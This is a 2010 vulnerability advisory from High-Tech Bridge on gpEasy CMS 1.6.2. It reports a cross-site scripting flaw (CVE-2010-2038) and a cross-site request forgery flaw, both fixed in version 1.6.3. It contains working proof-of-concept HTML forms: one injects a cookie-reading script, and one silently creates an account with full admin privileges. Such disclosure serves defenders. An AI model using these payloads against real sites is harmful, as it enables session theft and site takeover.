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Multiple Vulnerabilities in gpEasy CMS

Advisory ID:HTB22370
Product:gpEasy CMS
Vendor:gpeasy
Vulnerable Versions:1.6.2 and probably prior
Tested Version:1.6.2
Advisory Publication:May 5, 2010 [without technical details]
Vendor Notification:May 5, 2010
Public Disclosure:May 19, 2010
Latest Update:May 18, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-2038
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in gpEasy CMS which could be exploited to perform cross-site scripting and cross-sire request forgery attacks.

1) Cross-site scripting vulnerability in gpEasy CMS: CVE-2010-2038
The vulnerability exists due to input sanitation error in the HTTP POST parameter " gpcontent" in include/tool/editing_files.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value='save'>
<input type="hidden" name="gpcontent" value='text"><script>alert(document.cookie)</script>'>
</form>
<script>
d ocument.myfrm.submit();</script>


2) Cross-site request forgery (CSRF) gpEasy CMS
The vulnerability exists due to insufficient validation of the request origin in include/admin/admin_users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create account with arbitrary privileges within application. Successful exploitation might result in complete compromise of the application.
Exploitation example:
<form action="http://example.com/index.php/Admin_Users" method="post" name="myfrm">
<input type="hidden" name="cmd" value="ResetDetails" >
<input type="hidden" name="username" value="editor" >
<input type="hidden" name="email" value="editor@editor.com" >
<input type="hidden" name="grant[]" value="Admin_Menu" >
<input type="hidden" name="grant[]" value="Admin_Uploaded" >
<input type="hidden" name="grant[]" value="Admin_Extra" >
<input type="hidden" name="grant[]" value="Admin_Theme" >
<input type="hidden" name="grant[]" value="Admin_Users" >
<input type="hidden" name="grant[]" value="Admin_Configuration" >
<input type="hidden" name="grant[]" value="Admin_Trash" >
<input type="hidden" name="grant[]" value="Admin_Uninstall" >
<input type="hidden" name="grant[]" value="Admin_Addons" >
<input type="hidden" name="grant[]" value="Admin_New" >
<input type="hidden" name="grant[]" value="Admin_Theme_Content" >
<input type="hidden" name="aaa" value="Continue" >
</form>
<script>
document.myfrm.submit();
</script>

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Solution:
Fixed in version 1.6.3


References:
[1] High-Tech Bridge Advisory HTB22370 - https://www.immuniweb.com/advisory/HTB22370 - Multiple Vulnerabilities in gpEasy CMS
[2] gpEasy CMS - gpeasy.com - gp|Easy CMS is a complete and easy to use Content Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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